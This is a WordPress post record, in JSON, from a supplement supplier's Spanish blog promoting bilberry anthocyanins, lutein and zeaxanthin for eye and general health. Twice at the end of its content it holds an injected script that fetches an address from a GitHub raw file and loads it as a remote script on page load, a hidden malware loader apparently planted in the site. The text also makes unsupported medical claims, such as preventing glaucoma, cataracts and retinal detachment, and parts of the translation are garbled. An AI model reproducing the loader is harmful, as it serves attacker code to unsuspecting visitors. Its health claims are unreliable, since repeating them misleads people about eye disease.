{"id":5164,"date":"2024-02-26T12:38:51","date_gmt":"2024-02-26T04:38:51","guid":{"rendered":"https:\/\/www.backvita.com\/?p=5164"},"modified":"2024-04-12T23:55:18","modified_gmt":"2024-04-12T15:55:18","slug":"natural-eye-care-nutrients","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/es\/nutrientes-naturales-para-los-ojos\/","title":{"rendered":"Nutrientes naturales para el cuidado de los ojos"},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-ae69bb9\" data-block-id=\"ae69bb9\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-3286\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Bilberry-Extract-anthocyanins.webp\" width=\"811\" height=\"457\" alt=\"Extracto de ar\u00e1ndano antocianinas\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Bilberry-Extract-anthocyanins.webp 811w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Bilberry-Extract-anthocyanins-300x169.webp 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Bilberry-Extract-anthocyanins-768x433.webp 768w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Bilberry-Extract-anthocyanins-600x338.webp 600w\" sizes=\"(max-width: 811px) 100vw, 811px\" \/><\/figure><\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><a href=\"https:\/\/www.backvita.com\/es\/producto\/extracto-de-arandano-antocianinas-proveedores-extracto-de-arandano-antocianinas-fabricantes-extracto-de-arandano-antocianinas-muestra-gratis-de-fabrica-2\/\">Antocianinas del ar\u00e1ndano<\/a><\/h2>\n\n\n\n<p>El ar\u00e1ndano pertenece a la familia de los rododendros y a la de los ar\u00e1ndanos. Originario de Am\u00e9rica del Norte, arbusto perenne con peque\u00f1as bayas, llamadas ar\u00e1ndanos por el color azul del fruto.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">El valor nutritivo de los ar\u00e1ndanos<\/h2>\n\n\n\n<p>\u00bfPor qu\u00e9 se conoce al ar\u00e1ndano como el \"rey de las bayas\"? Porque, en comparaci\u00f3n con otras frutas, no s\u00f3lo es nutritivo, sino que tambi\u00e9n contiene una gran cantidad de antocianinas: contiene 167 mg de antocianinas por cada 100 gramos, y los ar\u00e1ndanos silvestres n\u00f3rdicos son a\u00fan mejores, \u00a1su contenido en antocianinas es 15 veces superior al de los ar\u00e1ndanos cultivados!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Estrella antioxidante - antocianinas<\/h2>\n\n\n\n<p>Es un tipo de pigmento natural soluble en agua ampliamente presente en las plantas en la naturaleza, y existe ampliamente en el fluido celular de flores, frutos, tallos, hojas y otros tejidos. Es un importante ingrediente activo antioxidante en los alimentos.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">- Antioxidante<\/h3>\n\n\n\n<p>Las antocianinas tienen fuertes propiedades antioxidantes, que pueden mejorar la inmunidad del organismo, retrasar el envejecimiento, aliviar la deficiencia visual y la degeneraci\u00f3n, reducir la velocidad de envejecimiento de la piel y los \u00f3rganos corporales, y tener efectos significativos en la esclerosis vascular, las enfermedades cardiacas y la mejora de la memoria.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">- Mejora de la visi\u00f3n<\/h3>\n\n\n\n<p>Estudios cl\u00ednicos han demostrado que las antocianinas de los ar\u00e1ndanos pueden favorecer la regeneraci\u00f3n de las c\u00e9lulas de la retina, lo que puede prevenir la miop\u00eda grave y el desprendimiento de retina, y mejorar la visi\u00f3n.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">- Belleza<\/h3>\n\n\n\n<p>Las antocianinas pueden blanquear la piel y aclarar el efecto de la piel, ya que puede eliminar los radicales libres en el cuerpo, reduciendo as\u00ed la producci\u00f3n de melanina en el cuerpo, puede prevenir eficazmente la aparici\u00f3n de manchas de color, pecas, manchas de la edad y las arrugas, el consumo a largo plazo tambi\u00e9n puede desempe\u00f1ar un papel en la lucha contra el envejecimiento, por lo que puede comer una cantidad adecuada de alimentos ricos en antocianinas todos los d\u00edas.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">- Antienvejecimiento<\/h3>\n\n\n\n<p>Las antocianinas tienen fuertes oxidantes, la capacidad antioxidante de esta sustancia es particularmente bueno, puede eliminar los radicales libres en el cuerpo, hacer que la piel m\u00e1s suave, a menudo a\u00f1adir antocianinas, tambi\u00e9n puede prevenir las arrugas de la piel o manchas.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">- Proteger las articulaciones<\/h3>\n\n\n\n<p>Las antocianinas pueden mejorar la flexibilidad de las articulaciones y evitar la acumulaci\u00f3n de l\u00edquido articular. Los ancianos pueden complementar algunas antocianinas, por lo general puede comer m\u00e1s frutas con alto contenido de antocianinas, como los ar\u00e1ndanos y las uvas.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">- Salud cardiovascular<\/h3>\n\n\n\n<p>Las antocianinas pueden retrasar el envejecimiento de las c\u00e9lulas de los vasos sangu\u00edneos, mantener la elasticidad de los vasos sangu\u00edneos, prevenir el endurecimiento y reducir la presi\u00f3n arterial. Adem\u00e1s, tiene propiedades antioxidantes, que pueden proteger el colesterol bueno en los vasos sangu\u00edneos, reducir el contenido de colesterol malo en los vasos sangu\u00edneos, eliminar peque\u00f1as trombosis, restaurar la elasticidad b\u00e1sica de los vasos sangu\u00edneos, a fin de prevenir la aparici\u00f3n de la aterosclerosis.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">- Inhibe la inflamaci\u00f3n<\/h3>\n\n\n\n<p>Las antocianinas pueden desempe\u00f1ar un efecto bactericida y antiinflamatorio, por lo que las personas infectadas con enfermedades inflamatorias, la suplementaci\u00f3n adecuada de algunas antocianinas, puede mejorar la inmunidad del cuerpo, controlar el desarrollo de la inflamaci\u00f3n.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">- Prevenci\u00f3n de enfermedades metab\u00f3licas cr\u00f3nicas<\/h3>\n\n\n\n<p>Las antocianinas pueden aumentar la lipoprote\u00edna de alta densidad en la sangre y reducir la lipoprote\u00edna de baja densidad, lo que tiene un efecto evidente en la prevenci\u00f3n de las enfermedades cardiovasculares y cerebrovasculares.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">- Elimina los radicales libres da\u00f1inos del organismo<\/h3>\n\n\n\n<p>En el envejecimiento y muchas enfermedades, los radicales libres son una de las causas importantes del envejecimiento, las antocianinas pueden mantener y mejorar la actividad de las vitaminas en el cuerpo humano, es un sinergista de vitaminas. Adem\u00e1s, la capacidad de las antocianinas para combatir los radicales libres es 50 veces mayor que la de la vitamina E y 20 veces mayor que la de la vitamina C.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><a href=\"https:\/\/www.backvita.com\/es\/producto\/extracto-de-flor-de-calendula-luteina-proveedores-extracto-de-flor-de-calendula-luteina-fabricantes-extracto-de-flor-de-calendula-luteina-muestra-gratis-de-fabrica\/\">Lute\u00edna<\/a>, <a href=\"https:\/\/www.backvita.com\/es\/producto\/extracto-de-flor-de-calendula-zeaxantina-proveedores-extracto-de-flor-de-calendula-zeaxantina-fabricantes-extracto-de-flor-de-calendula-zeaxantina-muestra-gratis-de-fabrica\/\">zeaxantina<\/a><\/h2>\n\n\n\n<p>La lute\u00edna es un caroteno, zeaxantina es rica en vegetales verdes y amarillos en el pigmento, tambi\u00e9n un carotenoide que contiene ox\u00edgeno, y lute\u00edna is\u00f3mero, en la naturaleza a menudo con lute\u00edna, beta-caroteno, criptoxantina, etc, la composici\u00f3n de la mezcla de carotenoides. Tienen propiedades antioxidantes. Se encuentra de forma natural en frutas y verduras, es un antioxidante que protege los \u00f3rganos del cuerpo. En el cuerpo humano, la memoria se encuentra en los ojos, la piel, el coraz\u00f3n, el cerebro y otras partes; Especialmente en los ojos, el contenido es relativamente alto.<\/p>\n\n\n\n<p>Con el aumento de la edad, la p\u00e9rdida gradual de lute\u00edna y la reducci\u00f3n continua de zeaxantina tendr\u00e1n un gran impacto en la visi\u00f3n; En casos graves, puede causar ceguera. Por lo tanto, debemos suplementar regularmente la lute\u00edna y la zeaxantina, y comer alimentos que contengan estos carotenoides para complementar.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Funci\u00f3n y valor de la lute\u00edna y la zeaxantina<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">- Protege la retina y mejora la visi\u00f3n<\/h3>\n\n\n\n<p>La lute\u00edna es un buen antioxidante que puede evitar el da\u00f1o oxidativo de la retina al absorber la luz, proteger los vasos sangu\u00edneos del nervio \u00f3ptico, mantener una buena circulaci\u00f3n sangu\u00ednea, reducir la diferencia de color y mejorar la visi\u00f3n.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">- Filtrar la luz azul para retrasar el envejecimiento ocular<\/h3>\n\n\n\n<p>La luz azul puede penetrar en el ojo y da\u00f1ar la retina y la zona macular, especialmente la capa exterior de grasa de la zona macular es vulnerable al da\u00f1o de la luz, por lo que esta zona es propensa a la degradaci\u00f3n, y la lute\u00edna puede formar una pel\u00edcula protectora para filtrar la luz azul y evitar los rayos nocivos de la luz solar. Alivia la fatiga visual, la sequedad, la borrosidad, la fotofobia y otros s\u00edntomas.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">- Prevenir lesiones del fondo de ojo muy miopes<\/h3>\n\n\n\n<p>La miop\u00eda elevada es f\u00e1cil que provoque desprendimiento de retina, lagrimeo y otras lesiones del fondo de ojo, y puede incluso conducir a la ceguera permanente. Un suplemento suficiente de lute\u00edna puede mejorar la resistencia ocular y reducir la incidencia de lesiones.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">- Prevenir enfermedades oculares como el glaucoma y las cataratas<\/h3>\n\n\n\n<p>La lute\u00edna puede reducir la intensidad de oxidaci\u00f3n de la prote\u00edna ocular, y cuanto mayor sea la ingesta, menor ser\u00e1 la incidencia de glaucoma; Al mismo tiempo, la lute\u00edna es tambi\u00e9n el \u00fanico carotenoide que existe en el cristalino del ojo, lo que puede mejorar la resistencia del cristalino y retrasar o prevenir la aparici\u00f3n de cataratas. Reducir la probabilidad de degeneraci\u00f3n y enfermedad macular, la enfermedad macular es la principal causa de ceguera en los ancianos, la lute\u00edna puede ayudar a los pacientes ancianos con enfermedad macular degenerativa a mejorar la visi\u00f3n.<\/p>\n (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>) (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>)","protected":false},"excerpt":{"rendered":"<p>Blueberry anthocyanins Blueberry belongs to the rhododendron family and the huckleberry family. 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